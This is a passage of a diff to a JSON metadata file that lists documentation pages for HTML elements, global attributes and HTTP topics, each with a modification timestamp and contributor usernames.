"Web/HTML/Element/basefont": { - "modified": "2019-03-23T22:20:23.098Z", + "Web/HTML/Element/rp": { + "modified": "2020-05-03T03:15:11.285Z", "contributors": [ - "hoyt" + "tangallison2", + "wizardforcel" ] }, - "Web/HTML/Element/bdi": { - "modified": "2020-10-15T21:45:31.840Z", + "Web/HTML/Element/rt": { + "modified": "2019-04-18T06:06:40.759Z", "contributors": [ - "yofine", - "gafish", - "ZackBee", - "hoyt", - "Ende93" + "Yujiyang", + "Benjamin-Smith", + "wizardforcel" ] }, - "Web/HTML/Element/bdo": { - "modified": "2020-10-15T22:29:52.953Z", + "Web/HTML/Element/rtc": { + "modified": "2019-04-18T06:06:45.477Z", "contributors": [ - "JerryYoung" + "wizardforcel" ] }, - "Web/HTML/Element/bgsound": { - "modified": "2019-03-23T22:20:25.683Z", + "Web/HTML/Element/ruby": { + "modified": "2020-10-15T21:40:22.004Z", "contributors": [ - "hoyt" + "xgqfrms", + "studyMakesMeHappy", + "zhangchen", + "Roger-WIN", + "wizardforcel", + "Martin.Chow" ] }, - "Web/HTML/Element/big": { - "modified": "2019-03-23T22:20:25.885Z", + "Web/HTML/Element/s": { + "modified": "2020-10-15T21:55:24.184Z", "contributors": [ - "hoyt" + "gafish", + "wizardforcel" ] }, - "Web/HTML/Element/blink": { - "modified": "2019-03-23T22:20:26.966Z", + "Web/HTML/Element/samp": { + "modified": "2019-03-23T22:33:11.911Z", "contributors": [ - "teoli", - "hoyt" + "luobotang" ] }, - "Web/HTML/Element/blockquote": { - "modified": "2020-10-15T21:31:05.486Z", + "Web/HTML/Element/script": { + "modified": "2020-08-05T19:13:19.581Z", "contributors": [ - "RainSlide", - "pantao", - "lisnb" + "mitaosi", + "michalska.lucyna88", + "harryzcy", + "namklaw", + "heekei", + "Soy", + "unclesamnumberone", + "Jackandjohn", + "xhlsrj", + "xgqfrms-GitHub", + "Ende93", + "ahwassa", + "gqqnbig", + "fskuok" ] }, - "Web/HTML/Element/body": { - "modified": "2020-10-15T21:39:08.650Z", + "Web/HTML/Element/section": { + "modified": "2020-10-15T21:22:44.033Z", "contributors": [ - "RainSlide", - "eforegist", - "kite-js", - "hoyt", - "CodeDreamfy", - "JoshuaLee", - "sweetliu", - "pantao" + "shawn20111416", + "gafish", + "wbamberg", + "kevinfszu", + "Annlix", + "ziyunfei", + "TimZhao" ] }, - "Web/HTML/Element/br": { - "modified": "2020-10-15T21:41:22.726Z", + "Web/HTML/Element/select": { + "modified": "2020-10-15T21:27:52.792Z", "contributors": [ - "kite-js", - "hoyt", - "gqqnbig", - "venden" + "Carllllo", + "zhangchen", + "wbamberg", + "pavilion2t", + "DUHZ", + "brandonzhu", + "ReyCG", + "ziyunfei" ] }, - "Web/HTML/Element/button": { - "modified": "2020-10-15T21:34:26.939Z", + "Web/HTML/Element/slot": { + "modified": "2020-10-15T21:54:42.237Z", "contributors": [ - "ilexwg", - "YuanGYao", - "kite-js", - "WeJie", - "wizardforcel", - "ezirmusitua", - "AnitaYin", - "JulieLee77" + "Jennyshining", + "xgqfrms", + "maicss", + "n313893254" ] }, - "Web/HTML/Element/canvas": { - "modified": "2020-10-15T21:21:53.234Z", + "Web/HTML/Element/small": { + "modified": "2020-10-15T21:51:17.821Z", "contributors": [ - "Mookiepiece", - "Martin.Chow", - "pantao", - "King.521", - "lunix01", - "qguor", - "ziyunfei", - "xcffl" + "gafish", + "wizardforcel", + "rollinhup", + "Tidejade" ] }, - "Web/HTML/Element/caption": { - "modified": "2019-03-23T22:47:30.729Z", + "Web/HTML/Element/source": { + "modified": "2019-07-01T10:30:44.709Z", "contributors": [ - "_sollrei", - "gqqnbig", - "pantao" + "l613", + "flyingsouthwind", + "naive233", + "ziyunfei", + "x-false" ] }, - "Web/HTML/Element/center": { - "modified": "2019-03-23T22:10:15.013Z", + "Web/HTML/Element/spacer": { + "modified": "2019-03-23T22:10:12.608Z", "contributors": [ - "maoyumaoxun", "wizardforcel" ] }, - "Web/HTML/Element/cite": { - "modified": "2020-10-15T21:41:43.390Z", + "Web/HTML/Element/span": { + "modified": "2020-11-23T03:27:28.387Z", "contributors": [ - "Humilitas", - "yuyuanqiu", + "Ende93", + "mitaosi", "gafish", - "lucoo01", - "ma125120", - "King." - ] - }, - "Web/HTML/Element/code": { - "modified": "2019-03-23T23:19:07.452Z", - "contributors": [ - "ziyunfei", - "guoyunhebrave" + "wh.D", + "OlafCheng", + "King.", + "Fadeoc" ] }, - "Web/HTML/Element/col": { - "modified": "2019-04-13T00:08:55.934Z", + "Web/HTML/Element/strike": { + "modified": "2019-03-23T22:10:15.972Z", "contributors": [ - "Rominez", - "zxcvbnm", - "FredWe" + "wizardforcel" ] }, - "Web/HTML/Element/colgroup": { - "modified": "2020-10-15T21:37:46.269Z", + "Web/HTML/Element/strong": { + "modified": "2019-03-23T22:28:05.903Z", "contributors": [ - "RainSlide", - "Soyaine", - "PandaadnaP", - "FredWe" + "bobo159357456", + "liwenkang", + "coolguy" ] }, - "Web/HTML/Element/command": { - "modified": "2019-03-18T20:43:33.481Z", + "Web/HTML/Element/style": { + "modified": "2020-10-15T21:33:11.824Z", "contributors": [ - "wbamberg", - "practicemp", - "ziyunfei" + "dlnb526", + "VdoG", + "linghuam", + "RandyOu", + "mengzyou" ] }, - "Web/HTML/Element/content": { - "modified": "2019-03-23T22:10:12.369Z", + "Web/HTML/Element/sub": { + "modified": "2019-03-23T22:10:11.284Z", "contributors": [ "wizardforcel" ] }, - "Web/HTML/Element/data": { - "modified": "2020-10-15T21:28:38.554Z", - "contributors": [ - "RainSlide", - "hxl" - ] - }, - "Web/HTML/Element/datalist": { - "modified": "2020-10-15T21:19:07.919Z", + "Web/HTML/Element/summary": { + "modified": "2020-10-15T21:40:24.548Z", "contributors": [ - "gafish", - "zhangchen", - "mfranzke", - "wbamberg", - "Jianming", - "SphinxKnight", - "koaqiu", - "JulieLee77", - "ziyunfei" + "JulesWang", + "xgqfrms-GitHub", + "Martin.Chow" ] }, - "Web/HTML/Element/dd": { - "modified": "2019-03-23T22:39:17.576Z", + "Web/HTML/Element/sup": { + "modified": "2019-10-01T21:38:22.903Z", "contributors": [ - "zhuangyin", - "PoppinL" + "wizardforcel" ] }, - "Web/HTML/Element/del": { - "modified": "2020-10-15T21:44:56.125Z", + "Web/HTML/Element/table": { + "modified": "2020-10-15T21:37:19.437Z", "contributors": [ - "lastVigo", - "Ende93" + "Ende93", + "stormyyd", + "Toobubble", + "codevvvv9", + "xgqfrms-GitHub", + "eforegist", + "jdk137", + "studentytj", + "PandaadnaP", + "Simcookies", + "zhe13", + "hexiaoming", + "FredWe" ] }, - "Web/HTML/Element/details": { - "modified": "2020-10-15T21:40:23.093Z", + "Web/HTML/Element/td": { + "modified": "2020-10-15T21:37:19.273Z", "contributors": [ - "Sc0tt", "RainSlide", - "moquede", - "Jiang-Xuan", - "wh1msy", - "xgqfrms-GitHub", - "Martin.Chow" + "853419196", + "FredWe" ] }, - "Web/HTML/Element/dfn": { - "modified": "2020-08-14T22:28:54.156Z", + "Web/HTML/Element/template": { + "modified": "2020-10-15T21:31:49.045Z", "contributors": [ - "liujtani", - "harttle" + "zhangchen", + "sky5454", + "xgqfrms-GitHub", + "Breezewish" ] }, - "Web/HTML/Element/dialog": { - "modified": "2020-10-15T21:53:47.497Z", + "Web/HTML/Element/textarea": { + "modified": "2020-10-15T21:37:11.943Z", "contributors": [ - "bambooom", - "RainSlide", + "Carllllo", + "wuzhibo", + "gafish", "Bayes", - "xgqfrms-GitHub" + "xianjiezh", + "koaqiu", + "celinaYu", + "maicss", + "xgqfrms-GitHub", + "DeronLee", + "FredWe" ] }, - "Web/HTML/Element/dir": { - "modified": "2019-03-21T11:22:00.363Z", + "Web/HTML/Element/tfoot": { + "modified": "2020-10-15T22:04:34.366Z", "contributors": [ - "RainSlide", - "wizardforcel" + "nagisa", + "tomoru" ] }, - "Web/HTML/Element/div": { - "modified": "2020-10-15T21:37:14.662Z", + "Web/HTML/Element/th": { + "modified": "2020-10-15T21:59:42.026Z", "contributors": [ - "imdsc", - "guofai", - "BurNing1993", - "RainSlide", - "gafish", - "YunZhongZi", - "pantao", - "FredWe" + "853419196", + "silkey", + "levinweb" ] }, - "Web/HTML/Element/dl": { - "modified": "2020-04-29T06:50:25.527Z", + "Web/HTML/Element/thead": { + "modified": "2020-10-15T21:52:32.187Z", "contributors": [ - "tanshaobo", - "wenchuyang", - "zhuangyin", - "PoppinL", - "teoli", - "pantao" + "gafish", + "fscholz", + "gilking", + "xgqfrms-GitHub", + "wzvoid" ] }, - "Web/HTML/Element/dt": { - "modified": "2019-03-23T22:52:08.449Z", + "Web/HTML/Element/time": { + "modified": "2019-03-24T00:15:12.173Z", "contributors": [ - "PoppinL", - "pantao", - "FredWe" + "wbamberg", + "RandyOu", + "xunmorl", + "hxl", + "ziyunfei" ] }, - "Web/HTML/Element/element": { - "modified": "2019-03-23T22:13:42.917Z", + "Web/HTML/Element/title": { + "modified": "2020-10-15T21:41:22.327Z", "contributors": [ - "angelllls" + "dlnb526", + "tomcat1234", + "Annlix", + "venden" ] }, - "Web/HTML/Element/em": { - "modified": "2019-08-13T01:09:58.820Z", + "Web/HTML/Element/tr": { + "modified": "2020-12-10T03:16:48.200Z", "contributors": [ - "huxinsen", - "eMUQI", - "bobo159357456", - "xgqfrms", - "pantao" + "窦静杰", + "Bayes", + "zxcvbnm" ] }, - "Web/HTML/Element/embed": { - "modified": "2020-10-15T21:28:42.719Z", + "Web/HTML/Element/track": { + "modified": "2020-10-15T21:28:38.735Z", "contributors": [ - "RainSlide", - "chenos", + "lizheming", + "Alex-DMC", + "gafish", + "flyingsouthwind", + "wbamberg", + "naive233", "Martin.Chow", - "Startan" + "hxl" ] }, - "Web/HTML/Element/fieldset": { - "modified": "2020-10-15T21:49:19.693Z", + "Web/HTML/Element/tt": { + "modified": "2019-03-23T22:22:44.407Z", "contributors": [ - "Carllllo", - "lucoo01", - "ezirmusitua", - "abowloflrf", - "cyxlj" + "wizardforcel", + "sayNo123" ] }, - "Web/HTML/Element/figcaption": { - "modified": "2019-03-23T22:35:32.183Z", + "Web/HTML/Element/u": { + "modified": "2020-10-15T21:52:32.682Z", "contributors": [ + "liruiux", + "yuyuanqiu", + "gafish", "wizardforcel", - "travellingkite", - "Ende93" + "hawm" ] }, - "Web/HTML/Element/figure": { - "modified": "2020-10-15T21:38:52.140Z", + "Web/HTML/Element/ul": { + "modified": "2020-10-15T21:45:30.830Z", "contributors": [ + "xq20160912", "gafish", "RainSlide", - "lcw0622", - "ajfg93", - "Ende93", - "041008725", - "you0509" + "ChaunceyWang", + "TangiDing", + "Eternaldeath", + "kgojiwong", + "Invar", + "Ende93" ] }, - "Web/HTML/Element/font": { - "modified": "2019-03-23T22:10:03.224Z", + "Web/HTML/Element/var": { + "modified": "2020-10-15T21:40:23.614Z", "contributors": [ - "yinsang", - "wizardforcel" + "xgqfrms", + "Martin.Chow" ] }, - "Web/HTML/Element/footer": { - "modified": "2020-10-15T21:38:27.121Z", + "Web/HTML/Element/video": { + "modified": "2020-10-15T21:26:33.227Z", "contributors": [ - "gafish", - "Ende93", - "sweetliu", - "W.D.L" + "myy7362", + "Yangjia23", + "hahaaha", + "kirbey", + "DonSen", + "beautyTang", + "jnvf", + "Soyaine", + "wbamberg", + "Shangxin", + "esterTion", + "jfw10973", + "ziyunfei", + "hxl" ] }, - "Web/HTML/Element/form": { - "modified": "2020-10-15T21:14:51.331Z", + "Web/HTML/Element/wbr": { + "modified": "2020-10-15T21:55:23.940Z", "contributors": [ - "Clarkkkk", - "Carllllo", - "Daqin", - "xuiang", - "RainSlide", - "Alfxjx", - "l613", - "gafish", - "linjialiang", - "HJ8848", - "luzhe610", - "Structure88", - "wizardforcel", - "maicss", - "zrtalent", - "FredWe", - "ziyunfei", - "lenvens" + "Ende93", + "wizardforcel" ] }, - "Web/HTML/Element/frame": { - "modified": "2019-03-23T22:10:16.682Z", + "Web/HTML/Element/xmp": { + "modified": "2020-10-15T21:40:04.585Z", "contributors": [ - "wizardforcel" + "GitHub-XQ", + "RainSlide", + "Martin.Chow" ] }, - "Web/HTML/Element/frameset": { - "modified": "2020-10-15T21:48:59.254Z", + "Web/HTML/Global_attributes": { + "modified": "2020-10-15T21:24:25.636Z", "contributors": [ + "wangfangping", + "gafish", + "fangshuaituo", + "depcorn", + "nagisa", + "qihuanlu01", + "eforegist", "Ende93", + "sdc37h", + "Jasery", "xgqfrms-GitHub", - "Fogwind" + "hawm", + "OlafCheng", + "vicvinc", + "Shaoqiang.Zhang", + "zhangking", + "TimZhao", + "ziyunfei", + "bugknightyyp" ] }, - "Web/HTML/Element/head": { - "modified": "2020-10-15T21:31:48.499Z", + "Web/HTML/Global_attributes/accesskey": { + "modified": "2020-10-15T21:54:59.494Z", "contributors": [ + "zhangchen", "eforegist", - "jesse0x90", - "AlexChao" - ] - }, - "Web/HTML/Element/header": { - "modified": "2020-10-15T21:27:00.445Z", - "contributors": [ - "gafish", - "RainSlide", - "wbamberg", "ziyunfei", - "hutuxu" + "Ende93", + "wizardforcel", + "moque" ] }, - "Web/HTML/Element/hgroup": { - "modified": "2020-09-15T22:26:38.462Z", + "Web/HTML/Global_attributes/autocapitalize": { + "modified": "2020-10-15T22:07:56.542Z", "contributors": [ - "hellorayza", - "emanruoy", - "allan_simon", - "diqiuxin", - "Ende93" + "zhangchen", + "eforegist" ] }, - "Web/HTML/Element/hr": { - "modified": "2020-10-15T21:39:09.045Z", + "Web/HTML/Global_attributes/class": { + "modified": "2020-10-15T21:39:56.865Z", "contributors": [ - "mitaosi", - "tanshaobo", - "gafish", - "lucoo01", - "azheng", - "nicholas-yangding", - "Ende93", - "pantao" + "zhangchen", + "eforegist", + "YehaiChen", + "ChuckZhang", + "Feihei" ] }, - "Web/HTML/Element/html": { - "modified": "2020-10-15T21:37:17.396Z", + "Web/HTML/Global_attributes/contenteditable": { + "modified": "2020-10-15T21:37:25.983Z", "contributors": [ - "gafish", + "zhangchen", + "xgqfrms", "eforegist", - "xgqfrms-GitHub", - "thinklittle", - "VdoG", - "ruilee16", - "jesse0x90", - "jasonnn331", - "Ende93", - "FredWe" + "AlexChao" ] }, - "Web/HTML/Element/i": { - "modified": "2019-03-23T23:11:10.638Z", + "Web/HTML/Global_attributes/contextmenu": { + "modified": "2020-10-15T21:51:27.709Z", "contributors": [ - "StormBR1120", - "ccn1010", - "ranwu", - "pantao", - "Hey-Ray" + "SphinxKnight", + "eforegist", + "Ende93", + "shuangya" ] }, - "Web/HTML/Element/iframe": { - "modified": "2020-10-15T21:21:27.595Z", + "Web/HTML/Global_attributes/data-*": { + "modified": "2020-10-15T21:36:49.775Z", "contributors": [ - "卡尔维斯特", - "HHH-can", - "frankli0324", - "gafish", - "Aslower", - "hexianzhi", - "xgqfrms", - "wbamberg", - "GameWang", - "AlvinBlack", - "Ende93", - "shiddong", - "xuxun", + "wallena3", + "symant233", + "zhangchen", + "Bonlin0", + "eforegist", "xgqfrms-GitHub", - "hoyt", - "Marcia_gm", - "Sivan", - "ReyCG_sub", - "ziyunfei", - "monjer", - "Josephok", - "ZhangJianxiang" + "kameii", + "FredWe" ] }, - "Web/HTML/Element/image": { - "modified": "2019-03-30T00:32:55.632Z", + "Web/HTML/Global_attributes/dir": { + "modified": "2019-03-18T20:38:23.878Z", "contributors": [ - "raygift", - "hoyt" + "jdk137", + "mona" ] }, - "Web/HTML/Element/img": { - "modified": "2020-10-15T21:34:27.415Z", + "Web/HTML/Global_attributes/draggable": { + "modified": "2019-03-23T23:03:48.842Z", "contributors": [ - "liangmuyang", - "HaoyuA", - "XLCYun", - "RainSlide", - "LexieAlreadyTaken", - "imbant", - "zzykillu", - "gafish", - "Ahhaha233", - "Everain", - "iefreer", - "fuchao2012", - "anjia" + "TooBug" ] }, - "Web/HTML/Element/ins": { - "modified": "2020-10-15T21:39:08.740Z", + "Web/HTML/Global_attributes/hidden": { + "modified": "2020-10-08T07:06:44.011Z", "contributors": [ - "gafish", - "lastVigo", - "Martin.Chow", - "pantao" + "Martin730913", + "LeoQuote", + "wizardforcel", + "bestdream", + "gaopu" ] }, - "Web/HTML/Element/isindex": { - "modified": "2019-03-23T22:43:17.045Z", + "Web/HTML/Global_attributes/id": { + "modified": "2020-10-15T21:37:13.339Z", "contributors": [ - "Martin.Chow" + "shawn20111416", + "kidonng", + "YehaiChen", + "JoshuaLee", + "zhangyudan" ] }, - "Web/HTML/Element/kbd": { - "modified": "2019-08-13T06:01:57.840Z", + "Web/HTML/Global_attributes/inputmode": { + "modified": "2020-10-15T22:20:42.369Z", "contributors": [ - "kenneth55555", - "hoyt", - "perillasy" + "qiudongwei" ] }, - "Web/HTML/Element/keygen": { - "modified": "2019-04-05T05:50:18.178Z", + "Web/HTML/Global_attributes/is": { + "modified": "2020-10-15T22:04:17.093Z", "contributors": [ - "Ende93" + "Kollar93" ] }, - "Web/HTML/Element/label": { - "modified": "2020-10-15T21:34:28.099Z", + "Web/HTML/Global_attributes/itemid": { + "modified": "2019-03-23T22:10:08.155Z", "contributors": [ - "Carllllo", - "plusmultiply0", - "one-day-day", - "kuei0221", - "yuyuanqiu", - "loveyunk", "Ende93", - "tinunkai", - "codevvvv9", - "yinsang", - "xgqfrms-GitHub", - "TooBug", - "ObooChin", - "JulieLee77" + "wizardforcel" ] }, - "Web/HTML/Element/legend": { - "modified": "2020-10-15T21:28:02.232Z", + "Web/HTML/Global_attributes/itemprop": { + "modified": "2019-03-23T22:09:25.188Z", "contributors": [ - "Carllllo", - "xingzhi" + "xzy112233", + "MZI", + "bestdream" ] }, - "Web/HTML/Element/li": { - "modified": "2019-04-06T23:38:24.006Z", + "Web/HTML/Global_attributes/itemref": { + "modified": "2019-07-13T06:25:04.662Z", "contributors": [ - "lwj621", - "wizardforcel", - "changwu", - "JoshuaLee" + "wangfangping", + "Mukti", + "wizardforcel" ] }, - "Web/HTML/Element/link": { - "modified": "2020-10-15T21:43:08.607Z", + "Web/HTML/Global_attributes/itemscope": { + "modified": "2019-03-23T22:04:34.982Z", "contributors": [ - "woshiqiang1", - "mitaosi", - "dlnb526", - "Yayure", - "LINYI", - "seanyue", - "csideakevin", - "gafish", - "Blue-momo", - "wh.D", - "zhangqiangoffice", - "VdoG", - "sdc37h", - "zhengjianqiao", - "jethro2016", - "ZackBee", - "cissoid", - "jesse0x90", - "gqqnbig", - "041008725" + "codedrinker", + "Mukti" ] }, - "Web/HTML/Element/listing": { - "modified": "2019-03-23T22:10:12.488Z", + "Web/HTML/Global_attributes/itemtype": { + "modified": "2019-03-23T22:10:01.057Z", "contributors": [ "wizardforcel" ] }, - "Web/HTML/Element/main": { - "modified": "2020-10-15T21:34:53.469Z", + "Web/HTML/Global_attributes/lang": { + "modified": "2019-10-01T21:48:16.715Z", "contributors": [ - "panda2134", - "kidwen", - "RainSlide", - "agannwei", - "gafish", - "sun_all", - "Alexanderonepills", - "zhangchen", - "yuyang", - "beiweiqiang", - "pantao", - "holynewbie", - "TANRUI", - "oxygen16" + "wangfangping", + "wizardforcel" ] }, - "Web/HTML/Element/map": { - "modified": "2020-06-30T05:42:09.220Z", + "Web/HTML/Global_attributes/part": { + "modified": "2020-10-15T22:31:54.138Z", "contributors": [ - "ikomom", - "Feel-Joy", - "wizardforcel", - "xycd", - "naive233" + "wuding" ] }, - "Web/HTML/Element/mark": { - "modified": "2020-01-10T01:04:18.292Z", + "Web/HTML/Global_attributes/slot": { + "modified": "2020-10-15T21:55:11.414Z", "contributors": [ - "yuyuanqiu", - "XiaoWinter", - "puppyer", - "Benjamin-Smith", - "looso", - "iigmir", - "Byronic94", - "marchen" + "zhangchen", + "wizardforcel" ] }, - "Web/HTML/Element/marquee": { - "modified": "2019-03-23T22:16:10.183Z", + "Web/HTML/Global_attributes/spellcheck": { + "modified": "2019-03-23T22:18:18.900Z", "contributors": [ - "siyecao", - "Easton605", "wizardforcel", - "viazure", - "snovey" + "xcffl", + "fjh352", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/menu": { - "modified": "2020-10-15T21:37:16.105Z", + "Web/HTML/Global_attributes/style": { + "modified": "2019-03-23T22:10:06.901Z", "contributors": [ - "RainSlide", - "yuyx91", - "kgojiwong", - "pantao", - "holynewbie" + "wizardforcel" ] }, - "Web/HTML/Element/menuitem": { - "modified": "2020-10-15T21:58:27.361Z", + "Web/HTML/Global_attributes/tabindex": { + "modified": "2020-10-15T21:55:15.899Z", "contributors": [ - "RainSlide", - "wangxuedongovo" + "xrkffgg", + "zhangchen", + "fjh352", + "wizardforcel" ] }, - "Web/HTML/Element/meta": { - "modified": "2020-10-15T21:34:02.227Z", + "Web/HTML/Global_attributes/title": { + "modified": "2020-03-11T07:59:38.824Z", "contributors": [ - "RainSlide", - "Carllllo", - "chanvin", - "dlnb526", - "vanestone", - "xq20160912", - "ceido", - "Bayes", - "VdoG", - "zxsunrise", - "wpc1403s2", - "fsx950223", - "yellow-lines", - "yunikoro", - "scl930227", - "daixinye", - "zt2", - "Noly1990", - "aimiy", - "clarkzsd", - "qixi", - "xgqfrms-GitHub", - "wangdapeng1005", - "zhouyu1993", - "SolitudeRA", - "Annlix", - "littlee", - "pantao", - "SimplyY", - "Fadeoc" + "YangYihui", + "monkeyDyang", + "wizardforcel" ] }, - "Web/HTML/Element/meta/name": { - "modified": "2020-10-15T22:33:39.182Z", + "Web/HTML/Global_attributes/translate": { + "modified": "2019-06-05T06:41:04.292Z", "contributors": [ - "RainSlide", - "hanochrosebush" + "Martin.Chow" ] }, - "Web/HTML/Element/meter": { - "modified": "2019-03-23T22:20:26.204Z", + "Web/HTML/Index": { + "modified": "2019-03-21T11:52:09.419Z", "contributors": [ - "hoyt" + "RainSlide", + "xcffl" ] }, - "Web/HTML/Element/multicol": { - "modified": "2019-03-23T22:18:36.663Z", + "Web/HTML/Inline_elements": { + "modified": "2020-08-05T19:04:54.777Z", "contributors": [ - "wizardforcel", - "xgqfrms-GitHub" + "mitaosi", + "chrisdavidmills", + "Raine_Huang", + "FredWe", + "ziyunfei", + "pmtao" ] }, - "Web/HTML/Element/nav": { - "modified": "2020-10-15T21:26:27.913Z", + "Web/HTML/Link_types": { + "modified": "2020-10-15T21:31:40.375Z", "contributors": [ + "chanvin", + "Yayure", "gafish", - "wbamberg", - "yatace", - "ziyunfei", - "TimZhao", - "bowen-shi" + "JuliusKingsley", + "songlime", + "liutongshuo", + "idlefire", + "hstarorg", + "Ende93", + "grtreexyz", + "blue0125", + "Breezewish" ] }, - "Web/HTML/Element/nextid": { - "modified": "2020-10-15T22:25:21.460Z", + "Web/HTML/Link_types/prefetch": { + "modified": "2020-10-15T22:29:06.249Z", "contributors": [ - "pans9" + "chanvin" ] }, - "Web/HTML/Element/nobr": { - "modified": "2019-03-23T22:10:16.065Z", + "Web/HTML/Link_types/preload": { + "modified": "2020-10-15T22:29:06.417Z", "contributors": [ - "wizardforcel" + "chanvin" ] }, - "Web/HTML/Element/noembed": { - "modified": "2019-03-23T22:10:11.377Z", + "Web/HTML/Microdata": { + "modified": "2019-07-13T06:56:53.858Z", "contributors": [ - "wizardforcel" + "wangfangping" ] }, - "Web/HTML/Element/noframes": { - "modified": "2019-03-23T22:10:12.853Z", + "Web/HTML/Preloading_content": { + "modified": "2020-06-09T23:26:32.370Z", "contributors": [ - "wizardforcel" + "huyue", + "chanvin", + "sutaojie", + "haoliangwu", + "Axue", + "ldwformat" ] }, - "Web/HTML/Element/noscript": { - "modified": "2020-10-15T21:41:44.231Z", + "Web/HTML/Quirks_Mode_and_Standards_Mode": { + "modified": "2020-01-30T04:57:28.634Z", "contributors": [ - "gafish", - "Serendipity96", - "williamjing", - "xgqfrms-GitHub", - "wleonid" + "RainSlide", + "Kacoo", + "chrisdavidmills", + "iigmir", + "anfGG8G0G8" ] }, - "Web/HTML/Element/object": { - "modified": "2020-10-15T21:25:11.550Z", + "Web/HTML/Reference": { + "modified": "2019-09-09T07:23:44.694Z", "contributors": [ - "gafish", - "zaixuzheng", - "Martin.Chow", - "ziyunfei", - "TimZhao" + "SphinxKnight", + "wbamberg", + "FredWe", + "Breezewish" ] }, - "Web/HTML/Element/ol": { - "modified": "2020-10-15T21:37:41.454Z", + "Web/HTML/Using_the_application_cache": { + "modified": "2019-10-29T05:43:20.065Z", "contributors": [ - "RainSlide", - "gafish", - "fcg55254", - "nuo2000", - "benpigchu", - "tcatche", - "Ende93", - "dongnanzhan", - "FredWe" + "7NZ", + "xgqfrms-GitHub", + "eforegist", + "liuzeyafzy", + "nianiaJR", + "shajiquan", + "hdwills", + "teoli", + "fsy0718", + "sunnylost", + "karsa.si" ] }, - "Web/HTML/Element/optgroup": { - "modified": "2020-10-15T21:48:34.575Z", + "Web/HTTP": { + "modified": "2020-08-27T09:08:49.830Z", "contributors": [ - "Carllllo", - "shinnqy" + "Lsnsh", + "dujun", + "RainSlide", + "taoyouh", + "shengjieli", + "userand", + "syt-honey", + "Pengfei", + "zhuangyin", + "JamieYang", + "xuxun", + "Ende93", + "xgqfrms-GitHub", + "sunnylost", + "cissoid", + "TomasRan", + "DreamerKing", + "ziyunfei" ] }, - "Web/HTML/Element/option": { - "modified": "2020-10-15T21:37:43.170Z", + "Web/HTTP/Authentication": { + "modified": "2020-01-19T22:05:27.998Z", "contributors": [ - "Carllllo", - "wizardforcel", - "King.", - "ziyunfei", - "zhache12345" + "cekingLu", + "gsxuan", + "zjffun", + "fanjieqi", + "rianma", + "wangpin", + "crper", + "WayneCui", + "GeJusdot", + "thomastao0215" ] }, - "Web/HTML/Element/output": { - "modified": "2020-10-15T21:41:37.216Z", + "Web/HTTP/Basics_of_HTTP": { + "modified": "2020-05-07T23:19:31.676Z", "contributors": [ - "wbamberg", - "zhangchen", - "King." + "Filon", + "HardcorePhysician", + "Yayure", + "695919451", + "BobGreen", + "magiclyde", + "cissoid" ] }, - "Web/HTML/Element/p": { - "modified": "2019-03-23T23:14:26.595Z", + "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": { + "modified": "2019-03-23T22:18:43.282Z", "contributors": [ - "Adashuai5", - "MrZhang", + "zqyue", "Ende93", - "FredWe", - "xingzhi" + "xgqfrms-GitHub", + "ziyunfei", + "chaos_zhang" ] }, - "Web/HTML/Element/param": { - "modified": "2020-10-15T21:50:13.073Z", + "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": { + "modified": "2020-02-20T03:41:08.272Z", "contributors": [ - "gafish", - "JinRong.Yang", - "naive233" + "Babyfaceqian", + "XFJGitHub", + "lc-soft", + "BobGreen", + "enjolras1205", + "zihengCat", + "GuoShuai", + "Haruhi", + "huangchanghuan", + "keifergu", + "JsonLi", + "WeijieZhu" ] }, - "Web/HTML/Element/picture": { - "modified": "2020-10-15T21:48:04.092Z", + "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web": { + "modified": "2019-05-06T05:35:10.899Z", "contributors": [ - "imba-tjd", - "yisibl", - "PoppinL" + "wolfzZ", + "heyv5", + "springapple", + "Wendy_Love", + "yuankunzhang", + "little-tomorrow", + "DreamerKing" ] }, - "Web/HTML/Element/plaintext": { - "modified": "2019-03-23T22:10:03.107Z", + "Web/HTTP/Basics_of_HTTP/MIME_types": { + "modified": "2020-11-04T00:16:29.009Z", "contributors": [ - "wizardforcel" + "lujjjh", + "andysongs", + "rascalquan", + "BobGreen", + "NewbieAndy", + "zhangchen", + "xgqfrms-GitHub", + "w11th", + "YuriTu" ] }, - "Web/HTML/Element/pre": { - "modified": "2020-10-15T21:39:48.026Z", + "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": { + "modified": "2020-02-28T13:11:23.222Z", "contributors": [ - "gafish", + "chrisdavidmills", + "RainSlide", + "qq58553442", + "sam-dingkang", "xgqfrms-GitHub", - "jiangseventeen", - "VdoG", - "Ende93", - "pengliheng" + "choury", + "pasturn" ] }, - "Web/HTML/Element/progress": { - "modified": "2020-10-15T21:05:48.761Z", + "Web/HTTP/Browser_detection_using_the_user_agent": { + "modified": "2019-03-23T22:26:23.825Z", "contributors": [ - "wonschangge", - "mkckr0", - "fscholz", - "wbamberg", - "ziyunfei", - "ethertank" + "xgqfrms-GitHub", + "konrumi", + "Leogh", + "jianyi1995" ] }, - "Web/HTML/Element/q": { - "modified": "2020-10-15T21:44:22.274Z", + "Web/HTTP/CORS/Errors": { + "modified": "2019-05-27T00:23:38.306Z", "contributors": [ - "kenneth55555", - "fscholz", - "Zyan", - "Ende93", - "Jiang-Xuan" + "waka3", + "nchevobbe", + "luna666", + "Sheppy" ] }, - "Web/HTML/Element/rb": { - "modified": "2020-10-15T22:14:32.981Z", + "Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin": { + "modified": "2019-07-18T02:34:22.209Z", "contributors": [ - "richardmyu", - "zhaohaodang", - "astak" + "PYGC", + "ty1921" ] }, - "Web/HTML/Element/rp": { - "modified": "2020-05-03T03:15:11.285Z", + "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { + "modified": "2019-07-29T07:01:42.837Z", "contributors": [ - "tangallison2", - "wizardforcel" + "crvdgc", + "levo2165", + "luna666" ] }, - "Web/HTML/Element/rt": { - "modified": "2019-04-18T06:06:40.759Z", + "Web/HTTP/CORS/Errors/CORSDisabled": { + "modified": "2019-05-09T05:04:22.066Z", "contributors": [ - "Yujiyang", - "Benjamin-Smith", - "wizardforcel" + "luna666" ] }, - "Web/HTML/Element/rtc": { - "modified": "2019-04-18T06:06:45.477Z", + "Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed": { + "modified": "2019-03-18T21:29:51.027Z", "contributors": [ - "wizardforcel" + "luna666" ] }, - "Web/HTML/Element/ruby": { - "modified": 